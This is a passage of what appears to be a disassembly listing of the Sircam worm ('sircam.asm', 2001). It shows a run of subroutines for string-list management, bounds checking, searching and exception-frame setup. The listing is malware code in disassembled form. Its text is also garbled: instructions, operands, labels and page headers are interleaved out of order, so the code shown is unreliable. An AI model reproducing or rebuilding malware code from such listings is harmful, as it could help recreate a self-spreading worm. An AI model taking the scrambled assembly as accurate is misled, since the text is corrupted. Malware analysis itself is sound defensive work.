loc_40D0F6 edx, ebx eax, [ebx+8] ecx, [eax] dword ptr [ecx+0Ch] loc_40D0F6: ; CODE XREF: sub_40D0C8+22\030j pop pop retn esi ebx sircam.asm sub_40D0C8 Fri Aug 10 12:42:44 2001 361 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D0FC proc near var_4 = dword ptr -4 push mov push push push mov mov xor push push push mov lea mov call mov mov mov call xor pop pop pop mov push ; DATA XREF: CODE:0040BB00\030o ; CODE:0040BC20\030o ebp ebp, esp 0 ebx esi esi, edx ebx, eax eax, eax ebp offset loc_40D13F dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] edx, esi sub_403680 edx, [ebp+var_4] eax, ebx ecx, [eax] dword ptr [ecx+2Ch] eax, eax edx ecx ecx fs:[eax], edx offset loc_40D146 loc_40D136: sub_40D0FC ; CODE XREF: CODE:0040D144\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D13F: ; DATA XREF: sub_40D0FC+E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D136 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D146: ; DATA XREF: sub_40D0FC+35\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D14C proc near ; DATA XREF: CODE:0040BAC0\030o ; CODE:0040BBE0\030o sircam.asm var_8 var_4 Fri Aug 10 12:42:44 2001 362 = dword ptr -8 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor ecx, ecx mov [ebp+var_8], ecx mov ebx, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40D200 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_40C890 xor edx, edx push ebp push offset loc_40D1E3 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+40h] test ebx, ebx jz short loc_40D1CD jmp short loc_40D1C8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D18F: ; CODE XREF: sub_40D14C+7F\031j mov eax, ebx jmp short loc_40D194 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D193: ; CODE XREF: sub_40D14C+56\031j inc ebx mov test jz sub jz sub jnz dl, [ebx] dl, dl short loc_40D1A4 dl, 0Ah short loc_40D1A4 dl, 3 short loc_40D193 loc_40D194: ; CODE XREF: sub_40D14C+45\030j loc_40D1A4: ; CODE XREF: sub_40D14C+4C\030j ; sub_40D14C+51\030j mov sub lea xchg call mov mov mov call cmp jnz inc ecx, ebx ecx, eax edx, [ebp+var_8] eax, edx sub_4035B0 edx, [ebp+var_8] eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+34h] byte ptr [ebx], 0Dh short loc_40D1C2 ebx cmp jnz inc ; CODE XREF: sub_40D14C+73\030j byte ptr [ebx], 0Ah short loc_40D1C8 ebx loc_40D1C2: loc_40D1C8: ; CODE XREF: sub_40D14C+41\030j ; sub_40D14C+79\030j sircam.asm Fri Aug 10 12:42:44 2001 cmp jnz byte ptr [ebx], 0 short loc_40D18F xor pop pop pop mov push ; CODE XREF: sub_40D14C+3F\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40D1EA loc_40D1CD: loc_40D1DA: sub_40D14C 363 ; CODE XREF: CODE:0040D1E8\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D1E3: ; DATA XREF: sub_40D14C+2A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D1DA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D1EA: xor pop pop pop mov push ; DATA XREF: sub_40D14C+89\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_40D207 loc_40D1F7: ; CODE XREF: CODE:0040D205\031j lea eax, [ebp-8] call sub_4034C8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D200: ; DATA XREF: sub_40D14C+14\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D1F7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D207: ; DATA XREF: CODE:0040D1F2\030o pop ebx pop ecx pop ecx pop ebp retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D210 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push mov add push push push ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ; DATA XREF: sub_40C900+1A\030o sircam.asm Fri Aug 10 12:42:44 2001 xor mov mov mov xor push push push mov mov call mov mov call mov dec test jl inc xor ecx, ecx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax eax, eax ebp offset loc_40D286 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] sub_40E2C0 eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] ebx, eax ebx ebx, ebx short loc_40D268 ebx esi, esi lea mov mov mov call mov mov call inc dec jnz ; CODE XREF: sub_40D210+56\031j ecx, [ebp+var_C] edx, esi eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] edx, [ebp+var_C] eax, [ebp+var_8] sub_40E2D0 esi ebx short loc_40D24C mov call xor pop pop pop mov push ; CODE XREF: sub_40D210+37\030j eax, [ebp+var_8] sub_40E2C8 eax, eax edx ecx ecx fs:[eax], edx offset loc_40D28D loc_40D24C: loc_40D268: loc_40D27D: sub_40D210 364 ; CODE XREF: CODE:0040D28B\031j lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D286: ; DATA XREF: sub_40D210+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D27D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D28D: ; DATA XREF: sub_40D210+68\030o pop pop pop mov pop retn edi esi ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D294 proc near ; DATA XREF: CODE:0040BBB0\030o sircam.asm Fri Aug 10 12:42:44 2001 push push call mov mov xor mov mov xor mov mov mov and mov call mov test jz mov mov mov xchg call ebx esi sub_402D3C ebx, edx esi, eax eax, eax [esi+20h], eax [esi+24h], eax eax, eax [esi+28h], eax [esi+2Ch], eax edx, ebx dl, 0FCh eax, esi sub_40C6F0 eax, [esi+10h] eax, eax short loc_40D2D2 edx, [esi+0Ch] ecx, eax eax, ds:off_40BB44 eax, edx sub_403BE8 xor mov xor mov mov call test jle mov call ; CODE XREF: sub_40D294+2C\030j eax, eax [esi+10h], eax edx, edx eax, esi ecx, [eax] dword ptr [ecx+28h] bl, bl short loc_40D2EB eax, esi sub_402D2C loc_40D2D2: loc_40D2EB: sub_40D294 365 ; CODE XREF: sub_40D294+4E\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D2F0 proc near ; DATA XREF: CODE:0040BBE8\030o push ebx push esi push edi push ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+18h], 0 jnz short loc_40D306 mov eax, [ebx+10h] mov [esp+0], eax jmp short loc_40D331 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D306: mov mov mov mov call test jz ; CODE XREF: sub_40D2F0+C\030j ecx, esp edx, esi eax, ebx edi, [eax] dword ptr [edi+78h] al, al short loc_40D331 sircam.asm Fri Aug 10 12:42:44 2001 366 mov al, [ebx+19h] sub al, 1 jb short loc_40D33D dec al jz short loc_40D322 jmp short loc_40D331 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D322: mov xor mov call ; CODE XREF: sub_40D2F0+2E\030j edx, ds:off_41DB24 ecx, ecx eax, ebx sub_40CA44 loc_40D331: ; CODE XREF: sub_40D2F0+14\030j ; sub_40D2F0+23\030j ... mov mov mov call ecx, esi edx, [esp+0] eax, ebx sub_40D618 mov pop pop pop pop retn endp eax, [esp+0] edx edi esi ebx loc_40D33D: sub_40D2F0 ; CODE XREF: sub_40D2F0+2A\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D348 proc near ; DATA XREF: CODE:0040BC24\030o push ebx cmp dword ptr [eax+4], 0 jnz short loc_40D360 cmp word ptr [eax+22h], 0 jz short loc_40D360 mov ebx, eax mov edx, eax mov eax, [ebx+24h] call dword ptr [ebx+20h] loc_40D360: sub_40D348 ; CODE XREF: sub_40D348+5\030j ; sub_40D348+C\030j pop retn endp ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D364 proc near ; DATA XREF: CODE:0040BC28\030o push ebx cmp dword ptr [eax+4], 0 jnz short loc_40D37C cmp word ptr [eax+2Ah], 0 jz short loc_40D37C mov ebx, eax mov edx, eax mov eax, [ebx+2Ch] call dword ptr [ebx+28h] sircam.asm Fri Aug 10 12:42:44 2001 loc_40D37C: sub_40D364 367 ; CODE XREF: sub_40D364+5\030j ; sub_40D364+C\030j pop retn endp ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D380 proc near ; DATA XREF: CODE:0040BBF4\030o push ebx mov ebx, eax cmp dword ptr [ebx+10h], 0 jz short loc_40D3B6 mov eax, ebx mov edx, [eax] call dword ptr [edx+74h] mov eax, [ebx+0Ch] mov ecx, [ebx+10h] mov edx, ds:off_40BB44 call sub_403BE8 xor eax, eax mov [ebx+10h], eax xor edx, edx mov eax, ebx mov ecx, [eax] call dword ptr [ecx+28h] mov eax, ebx mov edx, [eax] call dword ptr [edx+70h] loc_40D3B6: sub_40D380 ; CODE XREF: sub_40D380+7\030j pop retn endp ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D3B8 proc near ; DATA XREF: CODE:0040BBF8\030o push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_40D3C7 cmp esi, [ebx+10h] jl short loc_40D3D6 loc_40D3C7: mov mov mov call ; CODE XREF: sub_40D3B8+8\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 mov mov call mov lea mov call dec mov cmp ; CODE XREF: sub_40D3B8+D\030j eax, ebx edx, [eax] dword ptr [edx+74h] eax, [ebx+0Ch] eax, [eax+esi*8] edx, ds:off_40BB44 sub_403CD0 dword ptr [ebx+10h] eax, [ebx+10h] esi, eax loc_40D3D6: sircam.asm Fri Aug 10 12:42:44 2001 jge sub mov shl mov lea mov lea call loc_40D411: sub_40D3B8 mov mov call pop pop retn endp 368 short loc_40D411 eax, esi ecx, eax ecx, 3 eax, [ebx+0Ch] edx, [eax+esi*8] eax, [ebx+0Ch] eax, [eax+esi*8+8] sub_4026B0 ; CODE XREF: sub_40D3B8+3E\030j eax, ebx edx, [eax] dword ptr [edx+70h] esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D41C proc near ; DATA XREF: CODE:0040BBFC\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_40D42E cmp esi, [ebx+10h] jl short loc_40D43D loc_40D42E: mov mov mov call ; CODE XREF: sub_40D41C+B\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 test jl cmp jl edi, edi short loc_40D446 edi, [ebx+10h] short loc_40D455 mov mov mov call ; CODE XREF: sub_40D41C+23\030j edx, ds:off_41DC24 ecx, edi eax, ebx sub_40CA44 loc_40D43D: ; CODE XREF: sub_40D41C+10\030j loc_40D446: loc_40D455: mov mov call mov mov mov call mov mov call pop pop pop retn ; CODE XREF: sub_40D41C+28\030j eax, ebx edx, [eax] dword ptr [edx+74h] ecx, edi edx, esi eax, ebx sub_40D474 eax, ebx edx, [eax] dword ptr [edx+70h] edi esi ebx sircam.asm sub_40D41C Fri Aug 10 12:42:44 2001 369 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D474 proc near sub_40D474 push mov lea mov lea mov mov mov mov mov mov mov mov pop retn endp ; CODE XREF: sub_40D41C+46\030p ; sub_40D714+51\031p ebx ebx, [eax+0Ch] edx, [ebx+edx*8] eax, [eax+0Ch] eax, [eax+ecx*8] ecx, [edx] ebx, [eax] [edx], ebx [eax], ecx ecx, [edx+4] ebx, [eax+4] [edx+4], ebx [eax+4], ecx ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D498 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = byte ptr -4 push push push push add mov mov mov mov xor mov dec cmp jl ; DATA XREF: CODE:0040BC2C\030o ebx esi edi ebp esp, 0FFFFFFF4h [esp+0Ch+var_8], ecx [esp+0Ch+var_C], edx ebp, eax [esp+0Ch+var_4], 0 esi, esi edi, [ebp+10h] edi edi, esi short loc_40D4EB loc_40D4B7: ; CODE XREF: sub_40D498+51\031j lea ebx, [edi+esi] shr ebx, 1 mov eax, [ebp+0Ch] mov eax, [eax+ebx*8] mov edx, [esp+0Ch+var_C] call sub_406E64 test eax, eax jge short loc_40D4D3 lea esi, [ebx+1] jmp short loc_40D4E7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D4D3: ; CODE XREF: sub_40D498+34\030j mov dec edi, ebx edi sircam.asm Fri Aug 10 12:42:44 2001 test jnz mov cmp jz mov eax, eax short loc_40D4E7 [esp+0Ch+var_4], 1 byte ptr [ebp+19h], 1 short loc_40D4E7 esi, ebx loc_40D4E7: ; CODE XREF: sub_40D498+39\030j ; sub_40D498+40\030j ... cmp jge loc_40D4EB: sub_40D498 370 mov mov mov add pop pop pop pop retn endp edi, esi short loc_40D4B7 ; CODE XREF: sub_40D498+1D\030j eax, [esp+0Ch+var_8] [eax], esi al, [esp+0Ch+var_4] esp, 0Ch ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D500 proc near ; DATA XREF: CODE:0040BBC0\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_40D512 cmp esi, [ebx+10h] jl short loc_40D521 loc_40D512: mov mov mov call ; CODE XREF: sub_40D500+B\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 loc_40D521: sub_40D500 ; CODE XREF: sub_40D500+10\030j mov mov mov call pop pop pop retn endp eax, edi edx, [ebx+0Ch] edx, [edx+esi*8] sub_40351C edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40D534: ; DATA XREF: CODE:0040BBC4\030o mov eax, [eax+14h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D538: ; DATA XREF: CODE:0040BBC8\030o mov retn eax, [eax+10h] sircam.asm Fri Aug 10 12:42:44 2001 371 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D53C proc near ; DATA XREF: CODE:0040BBCC\030o push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_40D54B cmp esi, [ebx+10h] jl short loc_40D55A loc_40D54B: mov mov mov call loc_40D55A: sub_40D53C mov mov pop pop retn endp ; CODE XREF: sub_40D53C+8\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 ; CODE XREF: sub_40D53C+D\030j eax, [ebx+0Ch] eax, [eax+esi*8+4] esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D564 proc near ; CODE XREF: sub_40D618+1A\031p push esi mov edx, [eax+14h] cmp edx, 40h jle short loc_40D57B mov esi, edx test esi, esi jns short loc_40D576 add esi, 3 loc_40D576: ; CODE XREF: sub_40D564+D\030j sar esi, 2 jmp short loc_40D58C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D57B: ; CODE XREF: sub_40D564+7\030j cmp edx, 8 jle short loc_40D587 mov esi, 10h jmp short loc_40D58C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D587: ; CODE XREF: sub_40D564+1A\030j mov loc_40D58C: sub_40D564 esi, 4 ; CODE XREF: sub_40D564+15\030j ; sub_40D564+21\030j add mov mov call pop retn endp esi, edx edx, esi ecx, [eax] dword ptr [ecx+28h] esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 372 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D598 proc near ; DATA XREF: CODE:0040BC04\030o push ebx push esi push ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+18h], 0 jnz short loc_40D5B3 mov edx, esi mov eax, ebx call sub_40CCCC mov [esp+0], eax jmp short loc_40D5C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D5B3: mov mov mov mov call test jnz mov ; CODE XREF: sub_40D598+B\030j ecx, esp edx, esi eax, ebx ebx, [eax] dword ptr [ebx+78h] al, al short loc_40D5C9 dword ptr [esp+0], 0FFFFFFFFh loc_40D5C9: sub_40D598 ; CODE XREF: sub_40D598+19\030j ; sub_40D598+28\030j mov pop pop pop retn endp eax, [esp+0] edx esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D5D0 proc near ; DATA XREF: CODE:0040BC08\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+18h], 0 jz short loc_40D5EE mov edx, ds:off_41DB90 xor ecx, ecx mov eax, ebx call sub_40CA44 loc_40D5EE: ; CODE XREF: sub_40D5D0+D\030j test jl cmp jle esi, esi short loc_40D5F7 esi, 